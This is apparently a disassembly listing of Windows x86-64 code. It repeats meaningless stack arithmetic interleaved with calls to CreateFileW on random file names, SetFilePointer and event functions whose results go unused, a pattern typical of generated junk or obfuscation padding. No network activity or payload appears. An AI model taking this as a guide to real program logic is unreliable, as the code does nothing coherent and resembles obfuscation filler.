mov rax, qword [rsp + 0x1850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbe4]
and eax, ecx
mov word [0x1400fd1e0], ax
mov rax, qword [0x1400fc3f8]
mov rcx, qword [rsp + 0x12f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2a78], rax
mov rax, qword [rsp + 0x748]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1140]
shl rax, cl
mov rcx, qword [rsp + 0x1268]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1a28]
mov qword [rsp + 0x36a8], rax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
movsx eax, word [0x1400fd47c]
mov rcx, qword [rsp + 0x1068]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x23c], ax
mov rax, qword [rsp + 0x1f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xea]
xor eax, ecx
mov byte [rsp + 0x57a], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.5F3Svh_tJAA5WT
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2ea8], rax
mov rax, qword [rsp + 0x1548]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7ac]
shr eax, cl
mov rcx, qword [rsp + 0x1bc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x11c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2378]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1208], rax
mov eax, dword [rsp + 0x119c]
mov dword [rsp + 0x20e4], eax
movzx eax, byte [rsp + 0x22b]
mov rcx, qword [rsp + 0x12d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x609], al
mov rax, qword [rsp + 0x1328]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x280]
sub eax, ecx
mov word [0x1400fd378], ax
mov rcx, qword [rsp + 0x2c50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
lea rax, [rsp + 0x1cc]
mov qword [rsp + 0x1fa8], rax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4a8]
sar eax, cl
mov rcx, qword [rsp + 0x19d0]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x2f41
mov rcx, qword [rsp + 0x1820]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcfc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x39d0], rax
mov rax, qword [rsp + 0xcb0]
mov rcx, qword [rsp + 0x1238]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x1298], rax
lea rax, [rsp + 0x3d58]
mov qword [rsp + 0x28d0], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa41e
mov rcx, qword [rsp + 0x758]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rax, qword [rsp + 0x11f0]
mov rcx, qword [rsp + 0x1450]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7f0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x81]
mov byte [rsp + 0x136], al
movsx eax, word [rsp + 0x448]
mov rcx, qword [rsp + 0x18b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xecc], ax
mov rcx, qword [rsp + 0x1c70]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.uKDZrrZbszhlZGe2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2648], rax
movzx eax, word [rsp + 0x4a4]
movzx ecx, word [rsp + 0x5bc]
and eax, ecx
mov word [rsp + 0x718], ax
mov rax, qword [rsp + 0x1808]
mov rcx, qword [rsp + 0x14a0]
xor rcx, rax
mov rax, rcx
mov qword [0x1400fc488], rax
movzx eax, word [rsp + 0x2d8]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5c], ax
mov rcx, qword [rsp + 0x2c88]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x11b8], eax
mov rax, qword [rsp + 0x2258]
movzx ecx, al
mov rax, qword [rsp + 0x760]
shl rax, cl
mov qword [rsp + 0x17d0], rax
mov rax, qword [rsp + 0x2df0]
mov rax, qword [rax]
mov qword [rsp + 0x3118], rax
mov eax, dword [rsp + 0x9f4]
mov rcx, qword [rsp + 0xf60]
mov qword [rsp + 0x4860], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4860]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xc4], eax
mov rax, qword [rsp + 0x1818]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3180]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1878], rax
mov rax, qword [rsp + 0x1058]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcdc], eax
mov rax, qword [rsp + 0x668]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1468]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x232], al
movzx eax, byte [rsp + 0x239]
mov byte [rsp + 0x16e], al
mov rax, qword [rsp + 0x9d0]
movsx eax, word [rax]
movsx ecx, word [0x1400fc3e0]
sub eax, ecx
mov word [0x1400fd210], ax
mov rax, qword [rsp + 0xf50]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1420]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1698]
mov word [rcx], ax
movzx eax, word [rsp + 0x710]
movzx ecx, word [rsp + 0x59c]
add eax, ecx
mov word [rsp + 0x550], ax
mov rax, qword [0x1400fd2a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1538]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x1850]
mov word [rcx], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x1eb2
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa00], eax
mov rax, qword [rsp + 0x1220]
mov rcx, qword [rsp + 0xa80]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xf78]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3688], rax
mov eax, dword [rsp + 0x11bc]
mov dword [rsp + 0x13b4], eax
mov rax, qword [rsp + 0x1950]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x2388]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x82], al
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x1fc8], rax
mov rax, qword [rsp + 0x28c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x378]
shl eax, cl
mov rcx, qword [rsp + 0x1ee8]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3f9c
mov rcx, qword [rsp + 0x28c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x99c], eax
mov rax, qword [0x1400fd310]
mov qword [0x1400fd500], rax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xdb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x2d50], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov qword [rsp + 0x3000], rax
mov rax, qword [rsp + 0x1e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1838]
mov qword [rsp + 0x4868], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4868]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x1e58], rax
mov rcx, qword [rsp + 0x1910]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x13c]
mov qword [rsp + 0x1470], rax
mov rax, qword [rsp + 0x1278]
mov ecx, dword [rsp + 0xe38]
imul ecx, dword [rax]
mov eax, ecx
mov rcx, qword [rsp + 0x14c0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xeb]
mov rcx, qword [rsp + 0x800]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c3], al
mov r9d, 1
xor r8d, r8d
mov edx, 0xa0ae
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13c4], eax
mov rcx, qword [rsp + 0x2458]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1684], eax
mov rax, qword [rsp + 0x28b8]
mov rcx, qword [rsp + 0x1f78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1c60], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4a21
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
movsx eax, byte [rsp + 0x10c]
movsx ecx, byte [rsp + 0x235]
add eax, ecx
mov byte [rsp + 0x57a], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2ff8], rax
mov eax, dword [rsp + 0x1124]
mov ecx, dword [rsp + 0x10e8]
sub ecx, eax
mov eax, ecx
mov dword [0x1400fc46c], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1b10
mov rcx, qword [rsp + 0x12c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
movzx eax, word [rsp + 0x4e8]
mov word [rsp + 0xeb4], ax
movsx eax, word [rsp + 0x240]
movsx ecx, word [rsp + 0x310]
and eax, ecx
mov rcx, qword [rsp + 0x528]
mov word [rcx], ax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x1f60], rax
mov rax, qword [rsp + 0x9b0]
mov rcx, qword [rsp + 0x3040]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc90], rax
movsx eax, byte [0x1400fd132]
mov rcx, qword [rsp + 0x19a8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x1410]
mov byte [rcx], al
lea rax, [rsp + 0x2858]
mov qword [rsp + 0x3e28], rax
mov rax, qword [rsp + 0x988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb90]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x828]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x1b48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, word [rsp + 0x4e0]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x38c], ax
lea rax, [rsp + 0x148]
mov qword [0x1400fd508], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.aKTtzQm4Dk6BG5oa8FaOSHNrwhqZoUL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x32a8], rax
mov rax, qword [rsp + 0xf88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x980]
mov qword [rsp + 0x4870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4870]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1250]
mov qword [rcx], rax
mov rax, qword [0x1400fd270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x2a8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x4f4], ax
mov rcx, qword [rsp + 0x11e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov rax, qword [rsp + 0x1ca0]
mov eax, dword [rax]
mov dword [rsp + 0x1a98], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xbaeb
mov rcx, qword [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1ab0], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3fe8], rax
movzx eax, byte [rsp + 0x138]
movzx ecx, byte [rsp + 0x132]
or eax, ecx
mov byte [rsp + 0x10d], al
movzx eax, byte [rsp + 0x1c6]
mov byte [rsp + 0x404], al
mov eax, dword [rsp + 0xac4]
mov ecx, dword [rsp + 0xc8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x688], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x71ac
mov rcx, qword [rsp + 0x3670]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
mov rax, qword [rsp + 0x1c58]
mov rcx, qword [rsp + 0x1888]
mov qword [rsp + 0x4878], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4878]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x2c18], rax
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x84c]
add eax, ecx
mov word [rsp + 0x360], ax
movzx eax, word [rsp + 0x288]
movzx ecx, word [rsp + 0x178]
and eax, ecx
mov word [0x1400fd3d0], ax
mov rax, qword [rsp + 0x1b0]
mov rax, qword [rax]
mov rcx, qword [0x1400fc428]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2838], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov qword [rsp + 0x1cc8], rax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0x504f
mov rcx, qword [rsp + 0xba8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11ac], eax
movsx eax, word [rsp + 0x70c]
mov rcx, qword [rsp + 0x1fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x18b0]
mov word [rcx], ax
lea rax, [rsp + 0x12c]
mov qword [rsp + 0x19b0], rax
mov rax, qword [rsp + 0x2e80]
mov rcx, qword [rsp + 0x1040]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0xd60]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x17a8]
mov qword [rsp + 0x4880], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4880]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x56c], eax
lea rax, [rsp + 0x3f5]
mov qword [rsp + 0x22d0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2ede
mov rcx, qword [rsp + 0x1028]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
mov rax, qword [rsp + 0x2008]
mov rcx, qword [rsp + 0x2580]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa70], rax
lea rax, [rsp + 0x4ac]
mov qword [0x1400fd510], rax
mov rax, qword [rsp + 0x2a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1554]
xor eax, ecx
mov word [rsp + 0xe88], ax
movzx eax, byte [rsp + 0x16d]
mov rcx, qword [rsp + 0x830]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x1998]
mov byte [rcx], al
mov rax, qword [rsp + 0xd40]
mov ecx, dword [rsp + 0x11a4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x9c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1268]
mov rax, qword [rax]
mov qword [rsp + 0x4050], rax
mov eax, dword [rsp + 0x8e8]
mov ecx, dword [rsp + 0x1124]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x570], eax
mov rax, qword [rsp + 0x1898]
movzx eax, byte [rax]
mov byte [rsp + 0x170], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3768], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x952f
mov rcx, qword [rsp + 0x3b00]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3450], eax
mov rax, qword [rsp + 0x14b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2e70]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1870]
mov qword [rcx], rax
mov rax, qword [rsp + 0x180]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x560]
sar eax, cl
mov word [rsp + 0x398], ax
lea rax, [rsp + 0xafc]
mov qword [0x1400fd518], rax
lea rax, [0x1400fd320]
mov qword [rsp + 0x2908], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5a9e
mov rcx, qword [rsp + 0x808]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xbc8], eax
movzx eax, word [rsp + 0x434]
mov rcx, qword [rsp + 0x650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x84], ax
mov rcx, qword [rsp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x67c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.MHSIDtviTwRZFYYPQkB
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x1c98], rax
mov rax, qword [rsp + 0x1458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98]
add eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x1350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1848]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xca0], rax
mov rcx, qword [rsp + 0xf28]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov eax, dword [rsp + 0x7a4]
mov dword [rsp + 0x137c], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xa141
mov rcx, qword [rsp + 0x38b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcb8], eax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0x1ba]
and eax, ecx
mov byte [rsp + 0x3fc], al
mov rax, qword [rsp + 0x1c60]
mov rcx, qword [rsp + 0x3810]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x18a8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3aa0], rax
mov rax, qword [rsp + 0x1470]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x710]
sar eax, cl
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0xb68]
mov rcx, qword [rsp + 0x1bf8]
or rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd1b0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x156]
mov rcx, qword [rsp + 0xf48]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x139], al
mov rax, qword [rsp + 0x25d8]
mov eax, dword [rax]
mov dword [rsp + 0x34e4], eax
movsx eax, word [0x1400fd47c]
mov rcx, qword [rsp + 0x1fc8]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x554], ax
mov rax, qword [rsp + 0x19d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc88]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x570]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1abc], eax
movsx eax, byte [rsp + 0x22d]
mov rcx, qword [rsp + 0x1fe0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x2bb8], rax
movsx eax, word [rsp + 0x4d0]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x78], ax
movzx eax, word [rsp + 0x58c]
movzx ecx, word [rsp + 0x41c]
add eax, ecx
mov word [0x1400fd178], ax
mov rax, qword [rsp + 0xb20]
mov rcx, qword [0x1400fc418]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1c88]
mov qword [rsp + 0x3dd8], rax
mov rax, qword [rsp + 0xff0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x950]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x10b8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4a30
mov rcx, qword [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
lea rax, [rsp + 0x5b8]
mov qword [rsp + 0x2dc0], rax
mov rax, qword [rsp + 0x1938]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x135]
and eax, ecx
mov rcx, qword [rsp + 0x508]
mov byte [rcx], al
lea rax, [rsp + 0x1d00]
mov qword [rsp + 0x3dc8], rax
mov eax, dword [rsp + 0x13b4]
mov ecx, dword [rsp + 0x79c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1990], eax
movzx eax, byte [rsp + 0x1be]
movzx ecx, byte [rsp + 0x138]
add eax, ecx
mov byte [rsp + 0x16d], al
mov rcx, qword [rsp + 0x3700]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1664], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.SIN8JvoJ
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3838], rax
lea rax, [rsp + 0x1378]
mov qword [rsp + 0x2a40], rax
mov rax, qword [rsp + 0x9d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc490], ax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x13d0], eax
mov rax, qword [rsp + 0x1850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3a0]
or eax, ecx
mov word [rsp + 0x700], ax
movzx eax, word [rsp + 0x424]
movzx ecx, word [rsp + 0x288]
shl eax, cl
mov word [rsp + 0x4d8], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x8723
mov rcx, qword [rsp + 0x30f8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x166c], eax
mov rax, qword [rsp + 0xc90]
movzx ecx, al
mov rax, qword [rsp + 0x16f0]
sar rax, cl
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0x470]
mov rcx, qword [rsp + 0xf98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x18a8], rax
movzx eax, byte [rsp + 0x1b8]
mov byte [rsp + 0x408], al
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xac8], eax
mov eax, dword [rsp + 0xb9c]
mov ecx, dword [0x1400fd1d8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xc8], eax
movsx eax, word [rsp + 0x6b0]
mov rcx, qword [rsp + 0xc80]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x728], ax
mov rax, qword [rsp + 0xda8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x148]
and eax, ecx
mov word [rsp + 0x440], ax
lea rax, [rsp + 0x1bb0]
mov qword [0x1400fd520], rax
mov rax, qword [rsp + 0xa8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x28c0]
mov word [rcx], ax
mov rax, qword [rsp + 0xb70]
mov qword [rsp + 0x2430], rax
mov rax, qword [rsp + 0x1f50]
mov rcx, qword [rsp + 0x18e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3e0], rax
lea rax, [rsp + 0x9f8]
mov qword [rsp + 0x36c0], rax
mov rax, qword [rsp + 0x1f68]
movsx eax, byte [rax]
movsx ecx, byte [str._aMl]
sub eax, ecx
mov byte [rsp + 0x1ba], al
mov rax, qword [rsp + 0x1520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
add eax, ecx
mov rcx, qword [rsp + 0x800]
mov byte [rcx], al
mov eax, dword [rsp + 0x11a0]
mov dword [rsp + 0x1a88], eax
mov rax, qword [rsp + 0x1920]
mov rcx, qword [rsp + 0x1c00]
mov qword [rsp + 0x4888], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4888]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1348], rax
mov rax, qword [rsp + 0xa78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1fc8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x1400fd448]
mov word [rcx], ax
lea rax, [rsp + 0x85c]
mov qword [rsp + 0x1710], rax
movzx eax, word [rsp + 0x388]
movzx ecx, word [0x1400fc430]
or eax, ecx
mov rcx, qword [rsp + 0x2d00]
mov word [rcx], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x98ae
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x2f58], rax
lea rax, [rsp + 0x6e8]
mov qword [rsp + 0x2298], rax
movsx eax, byte [rsp + 0x154]
movsx ecx, byte [rsp + 0x237]
sar eax, cl
mov byte [rsp + 0x228], al
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
add rax, qword [rsp + 0x2330]
mov rcx, qword [rsp + 0x2828]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1050]
mov rcx, qword [rsp + 0xa90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x13a0], eax
movsx eax, word [rsp + 0x304]
mov rcx, qword [rsp + 0x1230]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x728], ax
movzx eax, word [rsp + 0xe7c]
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x1370]
mov qword [0x1400fd528], rax
mov rax, qword [rsp + 0x19c0]
mov rcx, qword [rsp + 0x16c8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d30], rax
mov rax, qword [rsp + 0x980]
mov rax, qword [rax]
mov rcx, qword [0x1400fd310]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1370], rax
lea rax, [rsp + 0x2400]
mov qword [rsp + 0x1460], rax
movzx eax, word [rsp + 0x88]
movzx ecx, word [rsp + 0x440]
sar eax, cl
mov word [rsp + 0x720], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5e67
mov rcx, qword [rsp + 0x1e78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xdf8], eax
mov rax, qword [rsp + 0x1468]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1cd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3f9], al
mov rcx, qword [rsp + 0x1b50]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0xa4]
cdq
idiv dword [rsp + 0x13e8]
mov rcx, qword [rsp + 0x1d40]
mov dword [rcx], eax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1430]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x13a], al
mov rax, qword [rsp + 0x1008]
mov eax, dword [rax]
mov dword [rsp + 0x10fc], eax
lea rax, [rsp + 0x338]
mov qword [0x1400fd530], rax
movsx eax, word [rsp + 0x1a0]
movsx ecx, word [rsp + 0x264]
xor eax, ecx
mov word [rsp + 0x280], ax
lea rax, [rsp + 0x240]
mov qword [rsp + 0x3818], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0xf387
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x29f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b4]
or eax, ecx
mov word [rsp + 0x214], ax
mov rax, qword [0x1400fd1b0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xd00]
shl rax, cl
